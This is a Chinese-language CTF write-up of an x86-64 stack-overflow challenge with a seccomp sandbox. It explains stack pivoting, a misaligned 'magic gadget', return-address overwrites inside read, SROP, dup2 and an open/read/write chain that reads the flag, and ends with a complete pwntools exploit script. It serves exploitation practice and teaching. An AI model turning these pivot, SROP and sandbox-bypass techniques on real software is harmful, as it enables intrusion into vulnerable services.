• 诚如出题人评价「一件完美的艺术品,葬下了整个栈时代
  • 用到的所有技巧都是入门阶段应知应会的栈上技巧,完全不涉及更高阶的技法。
  • 本题几乎已经把栈上可用的技巧穷尽,于是笔者拿来作为复健练习
  • 复现完笔者已经猪脑过载了,尽可能在基于出题人的思维上,也阐述了笔者”这里为什么要这样做“的思考

分析

checksec

除canary其余保护全开

Pasted image 20250822174322

init函数

Pasted image 20250828180156

设置缓冲区,然后将rread函数的rbp和ret数值存储到了bss段,再输出出来,最后mprotect将bss段权限改为只读防止更改

seccomp

 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x27 0xc000003e if (A != ARCH_X86_64) goto 0041
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x24 0xffffffff if (A != 0xffffffff) goto 0041
0005: 0x15 0x23 0x00 0x00000005 if (A == fstat) goto 0041
0006: 0x15 0x22 0x00 0x00000009 if (A == mmap) goto 0041
0007: 0x15 0x21 0x00 0x0000000a if (A == mprotect) goto 0041
0008: 0x15 0x20 0x00 0x00000011 if (A == pread64) goto 0041
0009: 0x15 0x1f 0x00 0x00000012 if (A == pwrite64) goto 0041
0010: 0x15 0x1e 0x00 0x00000013 if (A == readv) goto 0041
0011: 0x15 0x1d 0x00 0x00000014 if (A == writev) goto 0041
0012: 0x15 0x1c 0x00 0x00000028 if (A == sendfile) goto 0041
0013: 0x15 0x1b 0x00 0x00000029 if (A == socket) goto 0041
0014: 0x15 0x1a 0x00 0x0000002a if (A == connect) goto 0041
0015: 0x15 0x19 0x00 0x0000002c if (A == sendto) goto 0041
0016: 0x15 0x18 0x00 0x0000002e if (A == sendmsg) goto 0041
0017: 0x15 0x17 0x00 0x00000031 if (A == bind) goto 0041
0018: 0x15 0x16 0x00 0x00000032 if (A == listen) goto 0041
0019: 0x15 0x15 0x00 0x00000038 if (A == clone) goto 0041
0020: 0x15 0x14 0x00 0x00000039 if (A == fork) goto 0041
0021: 0x15 0x13 0x00 0x0000003b if (A == execve) goto 0041
0022: 0x15 0x12 0x00 0x00000127 if (A == preadv) goto 0041
0023: 0x15 0x11 0x00 0x00000128 if (A == pwritev) goto 0041
0024: 0x15 0x10 0x00 0x0000012f if (A == name_to_handle_at) goto 0041
0025: 0x15 0x0f 0x00 0x00000130 if (A == open_by_handle_at) goto 0041
0026: 0x15 0x0e 0x00 0x00000142 if (A == execveat) goto 0041
0027: 0x15 0x0d 0x00 0x00000147 if (A == preadv2) goto 0041
0028: 0x15 0x0c 0x00 0x00000148 if (A == pwritev2) goto 0041
**********************
0029: 0x15 0x00 0x04 0x00000001 if (A != write) goto 0034
0030: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count)
0031: 0x15 0x00 0x09 0x00000000 if (A != 0x0) goto 0041
0032: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count)
0033: 0x15 0x06 0x07 0x00000002 if (A == 0x2) goto 0040 else goto 0041
*********************
0034: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0040
0035: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0036: 0x25 0x04 0x00 0x00000000 if (A > 0x0) goto 0041
0037: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0040
0038: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0039: 0x35 0x01 0x00 0x00000001 if (A >= 0x1) goto 0041
*********************
0040: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0041: 0x06 0x00 0x00 0x00000000 return KILL

禁用了大多数危险的syscall,包括read、write的分支,但是保留了存在限制的本体
允许的 syscall

  • read(0, buf, …),只能从标准输入读数据
  • write(2, buf, …),打印到错误标准
  • open正常

应对read只能0

Linux 分配 fd 时会选择当前最小可用的 fd → 如果攻击者在 close(0) 后再 open("xxx"),新的文件就会占用 fd=0。那么再调用 read(0, …) 就变成从这个新文件里读数据了。

应对write只能2

dup2(oldfd, newfd) 是一个 Linux 系统调用,用来把 文件描述符 重定向。
dup2(1, 2)
1 = 标准输出 stdout
2 = 标准错误 stderr
调用后效果是:所有写到 stderr (fd=2) 的内容,其实都会流向 stdout (fd=1)

静态分析

对 IDA 反编译结果进行重命名等优化

Pasted image 20250828183721Pasted image 20250828183901

根据开头送的地址我们可以计算出elfbase=:0x555555555871- 0x555555554000=0x1871,可以绕过PIE

解题

①ret2text

Pasted image 20250828193445

read1 = elfbase + 0x182F #控制rbp从而控制rsi,即read函数的参数buf,控制read要读到哪里
read2 = elfbase + 0x1840 #call _read开始,适合后面已经控制好了rsi和rdx参数,就可以直接调用
read3 = elfbase + 0x183B #后面调用write后方便转调用read

②magic gadget

magic gadget顾名思义就是一些比较神奇好用gadget,为什么add_rbp_3d_ebx = elfbase + 0x1252这个地址的gadget神奇呢?
一般程序都会有__do_global_dtors_aux这个函数,

Pasted image 20250828190810

而将mov cs:completed_0, 1指令的最后一位01拆开与下面的pop rbp; ret组合,就是01 5D C3,意思是add dword ptr [rbp - 0x3d], ebx,再加上后面的指令,elfbase + 0x1252的指令就是add dword ptr [rbp - 0x3d], ebx; nop dword ptr [rax]; ret
Pasted image 20250828191142

先控制ebx,就可以将rbp - 0x3d处的值加上ebx的值,是本文后面控制libc偏移的方法

③栈迁移

原执行流程

Pasted image 20250829155614

思考

正常执行完第2次leave;ret,eip->0x55555555589b,rsp->0x7fffffffda0,rbp->0x7fffffffdab0(即地址0x7fffffffda90处的值,如果用x来表示这个值,此时rbp->x,恰好可以溢出到这个值)

下一步(即第3次)leave;ret将使rsp->x+0x10,rbp->[x],eip->[x+0x8],若通过溢出将地址0x7fffffffda90处的值x改为need_address-0x8,即可控制程序流使其执行[need_address]的指令(我们可以在栈中插入这个指令的地址),同时rbp的值变为地址x处的值,如果我们可以控制地址x处的值就再好不过了

控制后执行流程

p.send(check_word*4  + p64(RBP) + p64(RET) + p64(RBP-0x10) + p64(read) + p64(RBP+0x10))

Pasted image 20250829150106

绿框标出的为固定值,红框标出的为可控的0x18字节
可以看到我们最后可以控制到vuln函数的rbp,能控制rbp,就能控制程序流

在输入完会经历3次leave;ret,前两次rbp固定,分别是0x7fffffffda700x7fffffffda90leave相当于mov rsp,rbp;pop rbp

Pasted image 20250829150140参考上图

  • 第1次,0x555555555852处:先mov,rsp的值变为0x7fffffffda70,pop将rbp的值变为0x7fffffffda90,同时pop之后rsp的值会+8,到0x7fffffffda78,随后ret,eip变为0x555555555871,ret之后rsp的值再+8,变为0x7fffffffda80,完成一个完整的栈迁移周期
  • 第2次,0x555555555872处:先mov,rsp->0x7fffffffda90;pop,rbp->0x7fffffffda80(我们自己输入的值),rsp->0x7fffffffda98;ret,eip->0x55555555589b,rsp->0x7fffffffda0
  • 第3次,0x55555555589c处:先mov,rsp->0x7fffffffda80;pop,rbp->0x7fffffffdaa0,rsp->0x7fffffffda88;ret,eip->0x55555555582f(rread+12),rsp->0x7fffffffd90

!由于ASLR,从此开始 地址 会发生变化,rbp变为0x7fffffffdb10


Pasted image 20250830120758

将会执行read(0, 0x7fffffffdac0, 0x88)

④栈返回

栈返回就是通过glibc函数在栈上修改自己的返回地址,是一种更加隐蔽的栈溢出,因为glibc函数在程序中通常看不见流程。常见于read,printf

在call一个函数的时候,函数会push 返回地址,由于是push,rsp会减8,接着上面的例子,call了read后,rsp会变为0x7fffffffdb08,随后在read函数中,read的功能执行完毕后,最后会像很多函数一样执行leave; ret,就会ret回0x7fffffffdb08存放的返回地址

图为原执行过程,将回到rread并将要执行shadow检测

Pasted image 20250830123641

如果能在read函数返回之前修改这个返回地址,就可以控制程序流。这是本文躲避shadow检测的主要方法Pasted image 20250830123753
绿框为可读入部分

⑤ret2syscall

  • ret2syscall的意思就是返回到syscall上,一般的题目考这个会在程序的text段使用syscall,留一些后门syscall这种,其实这种可以归类为ret2text,不能算ret2syscall。
  • 本题的text段没有syscall,那有syscall并且有机会调用的地方就是libc,vsyscall段虽然有syscall,但是内核会检测,不能用。
  • 调用libc里的syscall一般可以归类为ret2libc,不能算ret2syscall,但是ret2libc一般要能完全ret到libc的所有地址才算,这里不能完全ret,只能单独ret到syscall这个有效字段,所以这题算是真正的ret2syscall Pasted image 20250830121600

栈上有这两个经常用的libc地址,由于无爆破,所以尝试看看这两个地址附近有没有syscall

Pasted image 20250830121640

成功找到一个野生的syscall,只需read时修改最后一个字节即可使栈上有syscall

暂时看不懂的,出题人的话:
但是这个syscall有很大弊端,因为SROP需要连续调用两次syscall,调用完sigreturn后,再来到这里调用dup2(1, 2)结束,会jmp回上方,进入一个syscall的循环。如果程序中有ret 8这个gadget,或者ret的数值比较好的(8的整数倍),可以通过控制edx为15,调用dup2(1, 2)完后再次调用sigreturn,提前在栈上构造好,就可以实现一个SROP的“双车错”,可以跳出这个循环。但是这个程序中只有ret 0x2d,这个值不好,会卡字段(选修,感兴趣可自行尝试
所以后面还要找另一个syscall,先用这个调用sigreturn,控制rbx字段,然后利用magic gadget将这个syscall改成更好的syscall,例如syscall; ret

⑥栈风水

栈风水就是在栈上提前进行一些布局,方便后续的ROP。这个通常是做到后面发现做得有些费劲,就会想在前面提前布局,此处讲解为什么这么留是很困难的,到后面才能知道
这里蓝线框住的就是栈风水,暂时无用,做到后面的时候发现shadow检测会回到这里,控制这里的值,后文进行解释

p.send(p64(0) * 7 + p64(RBP + 0xf0) + p64(read) + p64(leave) + p64(RBP + 0x100) + p64(leave) + p64(RBP - 0x18) + p64(leave) + p64(0) + p8(0xec)
#0x7fffffffdaf8 -> 0x7fffffffdc00 p64(RBP + 0xf0)
#0x7fffffffdb00 -> p64(read)
#0x7fffffffdb08 -> p64(leave) 原值为read的返回地址
#==============================================================
#0x7fffffffdb10 -> 0x7fffffffdc10 p64(RBP + 0x100)
#0x7fffffffdb18 -> p64(leave) 栈风水,后面程序流会无可避免的转向这里,提前布局
#==============================================================
#0x7fffffffdaa0 -> 0x7fffffffda78 p64(RBP - 0x18)
#0x7fffffffdaa8 -> p64(leave)
#0x7fffffffdab0 -> 0
#0x7fffffffdab8 -> 0x7ffff7c2a1e syscall

Pasted image 20250830123033

开始的0x38字节用0填充
之后的0x10存放的是rbp设置为多少ret到哪,这是一个组合,用于接收leave; ret,以下简称leave组合

  • 当控制rbp的值0x7fffffffdaf8时,执行leave; ret后,先是0x7fffffffdc00被rbp拿,然后ret到read

  • 中间的0x8字节是rop起点

    1. read函数结束ret回来,到rop起点的leave组合。此时rbp的存的值是0x7fffffffdaf8Pasted image 20250830133028
    2. 执行第1个leave组合,将要执行第1个leave组合Pasted image 20250830133647
    3. 执行第2个leave组合,将要执行readPasted image 20250830133800
  • 为什么不直接跳到上面,而是要先去下面再到上面:可以控rbp到上面,这样是能直接跳到上面执行,但是rbp在太上面了,read读的时候读不到底下的0x7fffffffdb38地址,没法把这里的libc地址改成syscall

  • 为什么不直接跳到下面,而是要先去下面再到上面呢:直接在下面调用read的话确实可以,但是这个read是会触发shadow检测,因为在__libc_start_call_main的下方没有leave组合,所以不能通过leave直接将栈移过去进而通过栈返回来躲shadow检测。触发shadow函数后,会push一堆值进栈,就会覆盖掉0x7fffffffdb100x7fffffffdb18这两个字段中的其中一个

  • 下面的0x10字节相当于中转站,转到上面执行read

  • 图片底部的0x7fffffffdb38这里的libc地址是不能动的,这是本文最关键的地址Pasted image 20250830134333

    下图绿框为可被read读入修改的部分👇Pasted image 20250830134442

    ⑦SROP

    此时rop链执行完毕,接下来准备读入SROP字段
    但是这个read会被shadow检测(因为此时rsp在read的buf区域之外)
    需要先读一段可通过检测的

#第3次send
p.send(b'I love you I feel lonely' * 4 + p64(RBP) + p64(RET) + p64(RBP + 0xf0) + p64(read))

下图为read将要ret时的栈结构Pasted image 20250830152751

  • 函数正常的第1次leave;ret结束,由于检测RBP和RET内容固定,rbp固定为 0x7fffffffdb10,存的地址值为之前备好的风水Pasted image 20250830153357
  • (vuln函数结束)第2次leave;ret结束,此时的rbp和rip就是第2次send时提前备好的风水,rbp指向的地址为第3次send我们控制的rbp值Pasted image 20250830153640
  • 栈风水的leave;ret结束,rbp变为第3次send我们控制的rbp值,将要执行readPasted image 20250830160047Pasted image 20250830160310
    Pasted image 20250830161934

    Pasted image 20250829231038syscall就是调用syscall的地址,调用的时候由于进行了ret,所以rsp会加8,指向uc_flags
    uc_flags字段需要设置为0。或者一个可读地址,并且这个可读地址的末第3个bit不能为1,例如我之前选用的leave的末尾是2,即0010,从右往左数第3个数是0,则该地址是合法的

    rip要一个可执行地址

    cs/gs/fs字段一般设置为0x33,主要是为了设置cs,说得准确点前两个字节需要是0x0033,后面的字节随便设置。cs为0x33代表此时程序是以64位运行的,0x22代表是32位,如果这里设置错误,那么程序会直接动不了。后面的gs和fs字段不是那么重要

    &fpstate字段需要设置为0。或者一个可读地址,并且该地址满足栈对齐,并且该地址+0x18的位置的值取低32位值后再取高16位值要是0,因为fpstate是一个结构体,这个位置是结构体中的mxcsr字段,这是一个32位的字段,其高16位最好不能有值。可见该字段如果想取一个合法地址是比较困难的,所以能设置0就设置0

    SROP比较复杂,涉及用户态和内核态的切换,但是简单说,就是设置栈上值到寄存器中,调用syscall后,rsp会指向uc_flags,按照各个字段设置即可,一般来讲前面13个字段都会设置为0,也就是p64(0) * 13

    本题read不能读入太多数据,只能是0x60,后面还有0x28要用来进行控制,这个0x60大小刚好是从rdi字段到err字段,随后的第4个字长需要控制&fpstate字段,需要为0

    进行错位后,是从rdi字段的前8个字节到cs/gs/fs字段,随后的第5个字长需要控制&fpstate字段,需要为0。位置有限,所以本文没有去专门控制前面13个字段,而是直接从rdi字段开始写,并且进行了错位,从rdi字段的前8个字节开始写

读入前

Pasted image 20250830163710

#frame = SigreturnFrame()
#frame.rax = 0
#frame.rbx = 0x6edca
#frame.rdi = 0
#frame.rsi = RBP + 0x30
#frame.rdx = 0x200
#frame.rsp = RBP + 0x40
#frame.rbp = RBP + 0x65
#frame.rip = read2
p.send(b'A' * 8 + p64(0) + p64(RBP + 0x30) + p64(RBP + 0x65) + p64(0x6edca) + p64(0x200) + p64(0) + p64(0) + p64(RBP + 0x40) + p64(read2) + p64(0) + p64(0x33) + p64(RBP + 0x150 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave))

读入后

Pasted image 20250830165241

第一次SROP由于没法利用那个syscall调用一个参数正确的函数,所以主要控制rbx字段,后面就能调用magic gadget调偏移换个syscall,直接换成syscall; ret就舒服了,用ropper随便找了个libc里的syscall; ret,所以rbx设置为了0x6edca。顺带rip是read2,直接调用read,因为这样调用的read很舒服,可以栈返回绕shadow,rdx还大

先leave,跳转到上面的rbp位置,这里有个leave组合,执行read。

Pasted image 20250830170105

要调用sigreturn需要rax为15,rax寄存器存放的是函数的返回值,如果read读了15个字节,那么函数返回值就是15,同理write如果写了15个字节,那么返回值也是15。没有控制rax的gadget的情况下,一般就用这种方法来控制rax的值

read了15个字节后再跳转到syscall就能执行sigreturn了

p.send(b'A' * 7 + p64(rbp))

read先读入7个垃圾字节,随后将自己的返回地址改为了pop rbp,这样可以跳过检测,直接开始rop,随后如图示一路rop到syscall

Pasted image 20250830171945

Pasted image 20250830172300

寄存器修改完毕

Pasted image 20250830172700

接下来准备调用dup2(1, 2),read重写一下SROP字段,并且栈风水一下,提前在SROP字段的垃圾字段中留下后面要用的gadget,并且rop一下,将这个syscall换成更好的syscall再调用

#frame = SigreturnFrame()
#frame.rax = 33
#frame.rdi = 1
#frame.rsi = 2
#frame.rdx = 0
#frame.rsp = RBP + 0x28
#frame.rbp = RBP + 0x68
#frame.rip = ret
io.send(p64(leave) + p64(add_rbp_3d_ebx) + p64(rbp) + p64(RBP + 0xa8 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave) + p64(RBP + 0xd0) + p64(read) + p64(0) * 4 + p64(1) + p64(2) + p64(RBP + 0x68) + p64(0) + p64(0) + p64(33) + p64(0) + p64(RBP + 0x28) + p64(ret) + p64(0) + p64(0x33))

io.send(b'A' * 7 + p64(rbp))

一般的SROP,会设置rsp为一个其他的值,rip为syscall的地址,这样不会卡脚。但是本题无法获得syscall的地址,所以rip设置为ret,rsp设置为这里的RBP + 0x28也就是syscall的地址,这样调用完第一次syscall设置好寄存器后,就能再调用一次syscall去执行函数

需要注意syscall后会ret,而此时rsp是syscall下面一行,这一行刚好是之前SROP时的uc_flags字段,所以这里要一个可执行的地址,并且合法

rbp在上一次的SROP中已经设置为了syscall的栈地址加0x3d,rop时直接利用magic gadget增加syscall地址的值,换成更好的syscall

Pasted image 20250830175151

上一次SROP设置了rsp,所以调用read后返回地址会被覆盖为add_rbp_3d_ebx,直接开始rop
执行add_rbp_3d_ebx换个syscall,随后read15个字节,和上面一样,read完后rop跳到syscall
为什么要留leave作为栈风水呢?因为rsp和rip都不好控,但是rbp好控,而利用rbp的地方就是leave,所以后面会利用leave作为一个中转站来完成跳跃

Pasted image 20250830180302

Pasted image 20250830180551

成功调用dup2(1,2),随后是ret,ret到leave,然后再由leave转到下面的leave组合处,调用read,再次重写SROP以调用write

#frame = SigreturnFrame()
#frame.rax = 1
#frame.rdi = 2
#frame.rsi = RBP + 0x28
#frame.rdx = 0x200
#frame.rsp = RBP + 0x28
#frame.rbp = RBP + 0xe8
#frame.rip = ret
p.send(p64(rbp) + p64(RBP + 0xd8 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave) + p64(2) + p64(RBP + 0x28) + p64(RBP + 0xe8) + p64(0) + p64(0x200) + p64(1) + p64(0) + p64(RBP + 0x28) + p64(ret) + p64(0) + p64(0x33) + p64(read3))

p.recv()
p.send(b'A' * 7 + p64(rbp))

Pasted image 20250830181603

Pasted image 20250830181831

Pasted image 20250830181811调用write成功,并且转到read

⑧ret2libc

ret2libc的意思就是能完全返回到libc上,虽然程序没有很多gadget,但是libc上gadget一大堆,都能直接用ROPgadget找到,没有pop rdx,可以用rbx来控,不过之前write已经设置了rdx为0x200,orw的时候就没有必要控rdx了

syscall = u64(io.recv(6).ljust(8, b'\0'))
libcbase = syscall - 0x98fb6
success('libcbase =>> ' + hex(libcbase))
rax = libcbase + 0xdd237
rdi = libcbase + 0x10f75b
rsi = libcbase + 0x110a4d
rbx = libcbase + 0x586e4
mov_rdx_rbx_pop_rbx_pop_r12_pop_rbp = libcbase + 0xb0133

接收write输出,得libc基址,随后就可以随意rop了

⑨ORW

orw是在沙箱禁用了execve函数下的常用攻击手法,通过open出flag文件,然后再read读flag文件中的内容到内存里,再用write写出flag

#close(0)
#open('./flag', 0)
#read(0, RBP, 0x200)
#write(2, RBP, 0x200)
io.send(b'A' * 0xc0 + b'./flag\x00\x00' + p64(rax) + p64(3) + p64(rdi) + p64(0) + p64(syscall) + p64(rax) + p64(2) + p64(rdi) + p64(RBP + 0xe8) + p64(rsi) + p64(0) + p64(syscall) + p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(RBP) + p64(syscall) + p64(rax) + p64(1) + p64(rdi) + p64(2) + p64(syscall))

close(0),再open('./flag', 0),这样flag文件的fd就是0,然后read(0, RBP, 0x200)就可以将flag的值写入RBP中,有一点需要注意的是由于close(0),现在已经无法使用标准输入(如果后续非要用可以先dup2再close),所以这是最后一个send了。最后write(2, RBP, 0x200)输出flag

EXP

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]

p=process('./pwn')
#p=remote('ip',port)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p.recvuntil('0x')
RBP = int(p.recv(12),16)
p.recvuntil('0x')
RET = int(p.recv(12),16)
success("rbp_addr: "+hex(RBP))
success("ret_addr: "+hex(RET))

elfbase = RET - 0x1871
success("elfbase: "+hex(elfbase))

## gadgets
leave = elfbase + 0x1852 # leave ; ret

add_rbp_3d_ebx = elfbase + 0x1252 # add [rbp-0x3d],ebx ; ret
pop_rbp = elfbase + 0x1253 # pop rbp ; ret
ret = elfbase + 0x1254 # ret
#ret2text
read = elfbase + 0x182F #控制rbp从而控制rsi,即read函数的参数buf,控制read要读到哪里
read2 = elfbase + 0x1840 #call _read开始,适合后面已经控制好了rsi和rdx参数,就可以直接调用
read3 = elfbase + 0x183B #后面调用write后方便转调用read
check_word = b'I love you I feel lonely'

p.send(check_word*4 + p64(RBP) + p64(RET) + p64(RBP+0x10) + p64(read) + p64(RBP-0x10))
a=p.recvuntil(b'\n')
pause()

p.send(p64(0) * 7 + p64(RBP + 0xf0) + p64(read) + p64(leave) + p64(RBP + 0x100) + p64(leave) + p64(RBP - 0x18) + p64(leave) + p64(0) + p8(0xec))
pause()

p.send(check_word * 4 + p64(RBP) + p64(RET) + p64(RBP + 0xf0) + p64(read))
pause()

p.send(b'A' * 8 + p64(0) + p64(RBP + 0x30) + p64(RBP + 0x65) + p64(0x6edca) + p64(0x200) + p64(0) + p64(0) + p64(RBP + 0x40) + p64(read2) + p64(0) + p64(0x33) + p64(RBP + 0x150 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave))
pause()

p.send(b'A' * 7 + p64(pop_rbp))
pause()

p.send(p64(leave) + p64(add_rbp_3d_ebx) + p64(pop_rbp) + p64(RBP + 0xa8 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave) + p64(RBP + 0xd0) + p64(read) + p64(0) * 4 + p64(1) + p64(2) + p64(RBP + 0x68) + p64(0) + p64(0) + p64(33) + p64(0) + p64(RBP + 0x28) + p64(ret) + p64(0) + p64(0x33))
pause()

p.send(b'A' * 7 + p64(pop_rbp))
pause()

p.send(p64(pop_rbp) + p64(RBP + 0xd8 + 1) + p64(read) + p64(RBP + 0x20) + p64(leave) + p64(2) + p64(RBP + 0x28) + p64(RBP + 0xe8) + p64(0) + p64(0x200) + p64(1) + p64(0) + p64(RBP + 0x28) + p64(ret) + p64(0) + p64(0x33) + p64(read3))
pause()

p.recv()
p.send(b'A' * 7 + p64(pop_rbp))
pause()

syscall = u64(p.recv(6).ljust(8, b'\0'))
libcbase = syscall - 0x98fb6
success('libcbase' + hex(libcbase))
rax = libcbase + 0xdd237
rdi = libcbase + 0x10f75b
rsi = libcbase + 0x110a4d
rbx = libcbase + 0x586e4
mov_rdx_rbx_pop_rbx_pop_r12_pop_rbp = libcbase + 0xb0133

p.send(b'A' * 0xc0 + b'./flag\x00\x00' + p64(rax) + p64(3) + p64(rdi) + p64(0) + p64(syscall) + p64(rax) + p64(2) + p64(rdi) + p64(RBP + 0xe8) + p64(rsi) + p64(0) + p64(syscall) + p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(RBP) + p64(syscall) + p64(rax) + p64(1) + p64(rdi) + p64(2) + p64(syscall))
p.interactive()

END

Pasted image 20250830183342

尽管无法理解 PWN King 的全部教诲
但太阳升起时,我会将其全数化为己用
这正是我所擅长的

写完直接黑化了

b8da6b642e5d7b3ddac97603a3775e6dc50c8077